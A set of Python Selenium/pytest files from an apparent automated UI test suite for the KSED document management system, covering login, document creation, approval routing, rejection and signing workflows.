@allure.feature('Создание Резолюции')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12957(web_browser):
""" Создание Резолюции. """
page = KSEDCreatDocREZ(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
```
tk11943.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocPorDorab(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
#wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title or "Документ" in self._web_driver.title
# Открытие документа из прошлого ТК
def getDoc(self):
my_file = open("Tests/linkDocPoruchenie.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
self.wait_page_loaded()
# Отклонить согласование и вернуть на доработку
def REJECTED(self,):
self.REJECTED_button.wait_to_be_clickable()
self.REJECTED_button.click()
self.prop_bpm_comment.wait_until_not_visible()
self.prop_bpm_comment.send_keys('Отклонено')
self.apply_button_button.wait_to_be_clickable()
self.apply_button_button.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
self.wait_page_loaded()
# # Проверим статус документа
# self.osnSvedeniya.wait_to_be_clickable()
# self.osnSvedeniya.click()
#
# self.status_Doc.wait_until_not_visible()
# assert "На доработке проекта" in self.status_Doc.text
# открыть согласование вкладку
self.soglasovanieWkladka2.wait_to_be_clickable()
self.soglasovanieWkladka2.click()
# выпадающий список согласований
self.dropBtn.wait_to_be_clickable()
self.dropBtn.click()
self.status_Doc.wait_until_not_visible()
assert "Отклонено" in self.resultSogl.get_text()
# # Направление на согласование и проверка статуса документа
# def NapSoglasovanie(self, ):
#
# self.sendFor_approval.wait_to_be_clickable()
# self.sendFor_approval.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
#
# self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
# self.wait_page_loaded()
#
# # Проверим статус документа
# self.osnSvedeniya.wait_to_be_clickable()
# self.osnSvedeniya.click()
#
# self.status_Doc.wait_until_not_visible()
# assert "На согласовании" in self.status_Doc.text
#
# # Выйдем из системы
# def USER_LOGOUTs(self,):
#
# self.user_menu.wait_to_be_clickable()
# self.user_menu.click()
#
# self.USER_LOGOUT.wait_to_be_clickable()
# self.USER_LOGOUT.click()
#
# self.wait_page_loaded()
#
# assert "Войти" in self.w.title```
test_Interface.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11690 import KSEDsubordinate_doc
from KSED.Tests.tk11689 import KSEDViewTheDocumentCard
@allure.feature('Просмотр связанных документов в области просмотра разделов (Навигатор)')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11690(web_browser):
""" Просмотр связанных документов в области просмотра разделов (Навигатор) """
page = KSEDsubordinate_doc(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
getDoc = page.subordinate_doc()
@allure.feature('Переход в карточку документа из области просмотра разделов (Навигатор)')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11689(web_browser):
""" Переход в карточку документа из области просмотра разделов (Навигатор) """
page = KSEDViewTheDocumentCard(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся
ViewTheDocumentCard = page.ViewTheDocumentCard()
```
tk11644.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocVH(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
# self.get(dataTest.baseURL)
#
# wait_page_loaded(self.w)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
# page = Locator(self.w)
self.username_text = username
self.password_text = password
self.LogIn_button.click()
# wait_page_loaded(self._web_driver)
self.user_menu.wait_to_be_clickable()
assert "АРМ" in self._web_driver.title
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self,):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
# page = Locator(self.w)
# wait = WebDriverWait(self.w, 10)
self.newDoc_button.click()
self.vhDoc.click()
assert "Страница создания документа" in self._web_driver.title
# time.sleep(1)
# Атрибуты документа
# Адресат
self.adresat.scroll_to_element()
self.adresat.wait_to_be_clickable()
self.adresat.send_keys(u'Строганов' + Keys.RETURN)
# Корреспондент
self.korrespondent.wait_to_be_clickable()
self.korrespondent.send_keys(u'Логика' + Keys.RETURN)
# Категория документа
self.category_doc.wait_to_be_clickable()
self.category_doc.send_keys(u'Открытый' + Keys.RETURN)
# Исходящий номер
self.ishNumber.send_keys(u'123456')
# Дата исходящего
dd = datetime.date.today().strftime('%d%m%Y')
self.dateIS.send_keys(dd)
# Кнопка "Создать"
self.btnCreateDoc.scroll_to_element()
self.btnCreateDoc.wait_to_be_clickable()
self.btnCreateDoc.click()
# wait.until(EC.number_of_windows_to_be(2))
wait_page_loaded(self._web_driver)
# self.w.set_page_load_timeout(30)
# time.sleep(20)
#
# wait.until(EC.title_is(self.w.title))
self.mode.wait_to_be_clickable()
assert "Документ" in self._web_driver.title
```
test_PVK.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11652 import KSEDCreatDocPVH
@allure.feature('Создание Пакет входящей корреспонденции')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11652(web_browser):
""" Создание Пакет входящей корреспонденции. """
page = KSEDCreatDocPVH(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
```
tk11679.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time
from selenium.webdriver import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.common.exceptions import *
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.keys import Keys
from KSED.Pages.PageObject import Locator
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatDocReestr(Locator, dataTest, KSEDLocators, MPages):
def __init__(self, web_driver, uri = dataTest.baseURL):
super().__init__(web_driver, uri)
# self.get(dataTest.baseURL)
#
# wait_page_loaded(self._web_driver)
@allure.step("Авторизация")
def LogIN(self, username, password):
# wait = WebDriverWait(self.w, 10, poll_frequency=1,
# ignored_exceptions=[NoSuchElementException,
# ElementNotVisibleException,
# ElementNotSelectableException])
# page = Locator(self.w)
self.username_text = username
print(Locator.username_text)
self.password_text = password
self.LogIn_button.click()
wait_page_loaded(self._web_driver)
assert "АРМ" in self._web_driver.title
# Создание документа (открытие формы создания и заполнение атрибутов)
def Creat(self,):
wait = WebDriverWait(self._web_driver, 10, poll_frequency=1,
ignored_exceptions=[NoSuchElementException,
ElementNotVisibleException,
ElementNotSelectableException])
actions = ActionChains(self._web_driver)
# self = Locator(self._web_driver)
wait = WebDriverWait(self._web_driver, 10)
self.newDoc_button.click()
self.reestr.click()
assert "Страница создания документа" in self._web_driver.title
# time.sleep(1)
# Атрибуты документа
# Вид реестра
self.vid_reestra.click()
self.vid_reestraPP.click()
time.sleep(0.5)
# Получатель
self.poluchatel.send_keys("Сибинтек"+Keys.RETURN)
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.poluchatel)))
# Документы
self.inpDoc.wait_to_be_clicable()
self.inpDoc.send_keys(dataTest.BARCODE+Keys.RETURN)
time.sleep(0.5)
# Кнопка "Создать и отправить"
wait.until(EC.element_to_be_clickable((By.XPATH, KSEDLocators.btnCreateSend)))
actions.move_to_element(self.btnCreateSend).click().perform()
#self.btnCreateSend.click()
# wait.until(EC.number_of_windows_to_be(2))
wait_page_loaded(self._web_driver)
# self._web_driver.set_page_load_timeout(30)
time.sleep(2)
#
# wait.until(EC.title_is(self._web_driver.title))
assert "Документ" in self._web_driver.title
```
test_Poruchenie.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11655 import KSEDCreatDocPor
from KSED.Tests.tk13862 import KSEDCreatDocPorNSoglas
from KSED.Tests.tk11778 import KSEDCreatDocPorSoglas
from KSED.Tests.tk11943 import KSEDCreatDocPorDorab
from KSED.Tests.tk12936 import KSEDDocPorSendAllure
from KSED.Tests.tk12935 import KSEDCreatDocPorNIspoln
@allure.feature('Создание Поручения')
@pytest.mark.KSED_smoke_test_prior
#@pytest.fixture(scope="session")
def test_11655(web_browser):
""" Создание Поручения. """
page = KSEDCreatDocPor(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@allure.feature('Направление Поручения на согласование')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_13862(web_browser):
""" Направление Поручения на согласование. """
page = KSEDCreatDocPorNSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
Attach = page.attachment()
NaprNaSogl = page.NapSoglasovanie()
@allure.feature('Cогласование поручения')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11778(web_browser):
""" Cогласование поручения. """
page = KSEDCreatDocPorSoglas(web_browser)
LogIn_page = page.LogIN('YatskinRS', 'Changeme!')
getDoc = page.getDoc()
Soglasovanie = page.Soglasovanie()
@allure.feature('Отправка отчета в поручении после согласования')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12936(web_browser):
""" Отправка отчета в поручении после согласования. """
page = KSEDDocPorSendAllure(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
sendAllure = page.sendAllure()
@allure.feature('Направление Поручения на исполнение')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12935(web_browser):
""" Направление Поручения на исполнение. """
page = KSEDCreatDocPorNIspoln(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
create_route = page.creation_of_the_approval_route()
Attach = page.attachment()
NapIspolnenie = page.NapIspolnenie()
@allure.feature('Возврат поручения на доработку при согласовании.')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11943(web_browser):
""" Возврат поручения на доработку при согласовании. """
#""" ШАГ 1. Создание Поручения """
page1 = KSEDCreatDocPor(web_browser)
LogIn_page = page1.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page1.Creat()
saveLink = page1.LinkDocWFile()
# """ ШАГ 2. Направление на согласование """
page2 = KSEDCreatDocPorNSoglas(web_browser)
#LogIn_page = page2.LogIN('StroganovSN', 'Changeme!')
getDoc = page2.getDoc()
create_route = page2.creation_of_the_approval_route()
Attach = page2.attachment()
NaprNaSogl = page2.NapSoglasovanie()
Logout = page2.USER_LOGOUTs() # Выйдем из системы
# """ ШАГ 3. Отклонение согласования """
page3 = KSEDCreatDocPorDorab(web_browser)
LogIn_page = page3.LogIN('YatskinRS', 'Changeme!') # Авторизуемся согласующим созданного документа
getDoc = page3.getDoc()
REJECTED = page3.REJECTED() # Отклоним и вернем документ на доработку
# Logout = page.USER_LOGOUTs() # Выйдем из системы
#
# LogIn_page = page.LogIN('StroganovSN', 'Changeme!') # Авторизуемся инициатором
#
# getDoc = page.getDoc() # Откроем документ
#
# NaprNaSogl = page.NapSoglasovanie() # Снова направим на согласование для последовательного выполнения следующего ТК```
tk15745.py
```#!/usr/bin/python3
# -*- encoding=utf8 -*-
import time, datetime
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys
from KSED.TestData.data import dataTest
from KSED.TestData.locators import KSEDLocators
from KSED.TestData.pages import MPages
import allure
def wait_page_loaded(driver):
time.sleep(2)
page_loaded = False
while not page_loaded:
page_loaded = driver.execute_script("return document.readyState == 'complete';")
time.sleep(0.1)
class KSEDCreatWaySogl(MPages, dataTest, KSEDLocators):
def __init__(self, web_driver, uri=dataTest.baseURL):
super().__init__(web_driver, uri)
@allure.step("Авторизация")
def LogIN(self, username, password):
self.username_text = username
self.password_text = password
self.LogIn_button.click()
self.wait_page_loaded()
assert "АРМ" in self._web_driver.title
@allure.step("Создание документа")
def Creat(self,):
wait = WebDriverWait(self._web_driver, 10)
self.newDoc_button.click()
self.cardSogl.click()
self.wait_page_loaded()
assert "Страница создания документа" in self._web_driver.title
# Атрибуты документа
self.wait_page_loaded()
# Куратор
self.kurator.wait_until_not_visible()
self.kurator.scroll_to_element()
self.kurator.send_keys(u'Яцкин' + Keys.ENTER)
# Вид документа
self.viewSelecton.wait_until_not_visible()
self.viewSelecton.wait_to_be_clickable()
self.viewSelecton.click()
#Выбор Прочее
self.etcSelecton.wait_until_not_visible()
self.etcSelecton.wait_to_be_clickable()
self.etcSelecton.click()
# Выбор раздела из Прочие
self.btnSelection3.wait_to_be_clickable()
self.btnSelection3.click()
# кнопка подтвердить
self.confirm_6.wait_to_be_clickable()
self.confirm_6.click()
# заголовок
dt = datetime.datetime.today().strftime("%m-%d-%H.%M.%S")
self.titleCS.scroll_to_element()
self.titleCS.send_keys(u'Auto Прочие 15745 ' + dt)
# кнопка сохранить проект
self.saveProject.wait_to_be_clickable()
self.saveProject.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
self.wait_page_loaded()
assert "Документ" in self._web_driver.title
#открытие документа
def getDoc(self):
my_file = open("Tests/linkDocCS.txt", "r")
my_string = my_file.read()
my_string.strip()
self._web_driver.get(my_string)
my_file.close()
@allure.step("Создание не типового маршрута согласования")
def creation_of_the_approval_route(self):
# "Согласование" вкладка
self.soglasovanieWkladka.wait_to_be_clickable()
self.soglasovanieWkladka.click()
# "Создать маршрут" клик по кнопке
self.createRuleBtn.wait_to_be_clickable()
self.createRuleBtn.click()
# Выберем "Индивидуальный маршрут"
self.createRuleIndivid.wait_to_be_clickable()
self.createRuleIndivid.click()
# Появилась форма "Редактирование маршрута" нажмем "ОК"
self.btnOKform.wait_to_be_clickable()
self.btnOKform.click()
# Нажмем кнопку "Добавить этап"
self.addEtap.wait_to_be_clickable()
self.addEtap.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id = "message"]//span[@class = "wait"]')
# Заполним "Вид этапа"
self.btnTree.wait_to_be_clickable()
self.btnTree.click() # нажать на кнопку ...
self.wait_page_loaded()
self.btnSelection_1.wait_to_be_clickable()
self.btnSelection_1.click() # кнопка + третий выбор
self.confirm_5.wait_to_be_clickable()
self.confirm_5.click() # кнопка + третий выбор
# Заполним "Согласующие"
self.soglasuychie.wait_to_be_clickable()
self.soglasuychie.send_keys("Яцкин" + Keys.RETURN)
# Нажмем кнопку "ОК" на форме
self.btnOKformSogl.scroll_to_element()
self.btnOKformSogl.wait_to_be_clickable()
self.btnOKformSogl.click()
self.wait_page_loaded(wait_for_xpath_to_disappear='//div[@id="confirm-edit-fields-form-container_mask"]')
# выпадающий список согласований
self.dropBtn_2.scroll_to_element()
self.dropBtn_2.wait_to_be_clickable()
self.dropBtn_2.click()
self.status_Doc.wait_until_not_visible()
assert "Не начато" in self.resultSogl.get_text()
# Сохраним ссылку на документ в файл
def LinkDocWFile(self):
url = self._web_driver.current_url
my_file = open("Tests/linkDocCS.txt", "w")
my_file.write(str(url))
my_file.close()
```
test_RD.py
```#!/bin/sh
#!/usr/bin/python3
# -*- encoding=utf8 -*-
# How to run:
#.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
#.... allure generate ./allure_report && allure open allure-report
# -s команда вывода всех print в консоль
import pytest
import allure
from KSED.Tests.tk11674 import KSEDCreatDocRD
from KSED.Tests.tk11706 import KSEDDocPDNapSoglas
from KSED.Tests.tk12915 import KSEDRDSoglas_sendDorab
from KSED.Tests.tk12929 import KSEDRD_sendPodpis
from KSED.Tests.tk12907 import KSEDRD_DorabPodpis
from KSED.Tests.tk12934 import KSEDRD_Podpis
@allure.feature('Создание РД')
@pytest.mark.KSED_smoke_test_prior
#@pytest.fixture(scope="session")
def test_11674(web_browser):
""" Создание Распорядительного документа. """
page = KSEDCreatDocRD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@allure.feature('Направление РД на согласование')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_11706(web_browser):
""" Направление РД на согласование. """
page = KSEDDocPDNapSoglas(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
Attach = page.attachment()
addPunkt = page.addPunkt()
create_route = page.creation_of_the_approval_route()
adDrassilka = page.rassilka()
# Attach = page.attachment()
NaprNaSogl = page.NapSoglasovanie()
@allure.feature('Возврат РД на доработку с согласования')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12915(web_browser):
""" Возврат РД на доработку с согласования. """
page = KSEDRDSoglas_sendDorab(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
REJECTED = page.REJECTED()
@allure.feature('Направление РД на подписание')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12929(web_browser):
""" Направление РД на подписание. """
page = KSEDRD_sendPodpis(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
REJECTED = page.NapPodpis()
@allure.feature('Возврат РД на доработку с подписания')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12907(web_browser):
""" Возврат РД на доработку с подписания. """
page = KSEDRD_DorabPodpis(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
Podpisanie_Otklon = page.Podpisanie_Otklon()
REJECTED = page.NapPodpis()
@allure.feature('Подписание РД')
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_12934(web_browser):
""" Подписание РД. """
page = KSEDRD_Podpis(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
Podpis = page.Podpis()
```
test_CardSoglas.py
```# #!/bin/sh
# #!/usr/bin/python3
#
# # -*- encoding=utf8 -*-
#
#
#
# # How to run:
#
# #.... python -m pytest -v --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py::test_15772 --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py --driver Chrome --driver-path WebDriver\chromedriver --alluredir ./allure_report
# #.... python -m pytest -v --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v test_CardSoglas.py::test_18338 --driver FireFox --driver-path WebDriver\geckodriver --alluredir ./allure_report
# #.... python -m pytest -v --driver IE --driver-path WebDriver\IEDriverServer --alluredir ./allure_report
#IEDriver
# #.... allure generate ./allure_report && allure open allure-report
# # -s команда вывода всех print в консоль
#
#
#
import pytest
import allure
from KSED.Tests.tk15720 import KSEDCreatDocCS_RD
from KSED.Tests.tk15722 import KSEDCreatDocCS_LND
from KSED.Tests.tk15723 import KSEDCreatDocCS_ETC
from KSED.Tests.tk15745 import KSEDCreatWaySogl
from KSED.Tests.tk15750 import KSEDCreatWaySogl_RD
from KSED.Tests.tk15744 import KSEDaddPerson
from KSED.Tests.tk15755 import KSEDNaprSogl_RD
from KSED.Tests.tk15758 import KSEDaddNewVersion
from KSED.Tests.tk15759 import KSEDaddNewAtt
from KSED.Tests.tk15765 import KSEDreject_RD
from KSED.Tests.tk15764 import KSEDacceptSogl_RD
from KSED.Tests.tk15767 import KSEDinnerSogl_RD
from KSED.Tests.tk15772 import KSEDrejectInnerSogl_RD
from KSED.Tests.tk15777 import KSEDrejectTaskInnerSogl_RD
from KSED.Tests.tk15779 import KSEDrepeatInnerSogl_RD
from KSED.Tests.tk15780 import KSEDAcceptInnerSogl_RD
from KSED.Tests.tk15781 import KSEDaddComment
from KSED.Tests.tk15806 import KSEDtakeTask
from KSED.Tests.tk15807 import KSEDbackTask
from KSED.Tests.tk15810 import KSEDreturnDecision_RD
from KSED.Tests.tk15812 import KSEDsoftDecision_RD
from KSED.Tests.tk18300 import KSEDchangeAfterRejectInnerSogl_RD
from KSED.Tests.tk18302 import KSEDsoftDesAfterRejectInnerSogl_RD
from KSED.Tests.tk18327 import KSEDchangeAfterAcceptInnerSogl_RD
from KSED.Tests.tk18329 import KSEDchangeAfterAcceptWithRemarkInnerSogl_RD
from KSED.Tests.tk18330 import KSEDsoftDisAfterAcceptWithRemarkInnerSogl_RD
from KSED.Tests.tk18332 import KSEDaddCommentInnerSogl_RD
from KSED.Tests.tk18334 import KSEDInnerSoglAfterAddComment_RD
from KSED.Tests.tk18336 import KSEDacceptSoglwithRemark_RD
from KSED.Tests.tk18337 import KSEDrejectAfterAcceptSoglwithRemark_RD
from KSED.Tests.tk18338 import KSEDsoftDisAfterAcceptSoglwithRemark_RD
from KSED.Tests.tk18360 import KSEDreturnDisFromDelegatAfterReject_RD
from KSED.Tests.tk18361 import KSEDreturnDisAfterTakeTask
from KSED.Tests.tk18362 import KSEDsoftDisFromDelegatAfterReject_RD
from KSED.Tests.tk18363 import KSEDsoftDisAfterTakeTask
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15720(web_browser):
""" Создание КС _ вид РД"""
page = KSEDCreatDocCS_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15722(web_browser):
""" Создание КС _ Вид ЛНД"""
page = KSEDCreatDocCS_LND(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15723(web_browser):
""" Создание КС _ вид Прочие"""
page = KSEDCreatDocCS_ETC(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15744(web_browser):
""" Добавление сотрудника в этап """
page = KSEDaddPerson(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
create_route = page.creation_of_the_approval_route()
# create_route = page.creation_of_the_approval_route()
#
# Attach = page.attachment()
#
# NaprNaSogl = page.NapSoglasovanie()
# saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15745(web_browser):
""" Создание нетипового маршрута """
page = KSEDCreatWaySogl(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
create_route = page.creation_of_the_approval_route()
# Attach = page.attachment()
# NaprNaSogl = page.NapSoglasovanie()
# saveLink = page.LinkDocWFile()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15750(web_browser):
""" Создание типового маршрута """
# Шаг 1 создание документа
page = KSEDCreatWaySogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDCreatWaySogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15755(web_browser):
""" Направление на согласование """
# Шаг 1 создание документа
page = KSEDNaprSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15758(web_browser):
""" Добавление новой версии """
# Шаг 1 создание документа
page = KSEDaddNewVersion(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDaddNewVersion(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
# Шаг 4 возврат с согласования
reject = page.rejectYourself()
# Шаг 5 загрузка новой версии файла
attach = page.attachment_docReady()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15759(web_browser):
""" Добавление новой версии """
# Шаг 1 создание документа
page = KSEDaddNewAtt(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDaddNewAtt(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
# Шаг 4 возврат с согласования
reject = page.rejectYourself()
# Шаг 5 загрузка нового файла
attach = page.attachment_NewDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15764(web_browser):
""" Основное согласование """
# Шаг 1 создание документа
page = KSEDacceptSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
page = KSEDacceptSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDacceptSogl_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
accept = page2.acceptDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15765(web_browser):
""" Отклонение согласования """
# Шаг 1 создание документа
page = KSEDreject_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
# Шаг 2 создание маршрута
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 4 отклонение созгаласования
page2 = KSEDreject_RD(web_browser)
LogIn_page = page2.LogIN('YatskinRS', 'Changeme!')
getDoc = page2.getDoc()
reject = page2.rejectDoc()
@pytest.mark.KSED_smoke_test
#@pytest.fixture(scope="session")
def test_15767(web_browser):
""" Внутреннее согласование """
# Шаг 1 создание документа
page = KSEDinnerSogl_RD(web_browser)
LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
Creat_doc = page.Creat()
saveLink = page.LinkDocWFile()
#Logout = page.USER_LOGOUTs() # Выход из системы
# Шаг 2 создание маршрута
#page = KSEDinnerSogl_RD(web_browser)
#LogIn_page = page.LogIN('StroganovSN', 'Changeme!')
#getDoc = page.getDoc()
create_route = page.creation_of_the_approval_route()
# Шаг 3 вложение и направление на созгаласование
attach = page.attachment()
NapSoglasovanie = page.NapSoglasovanie()
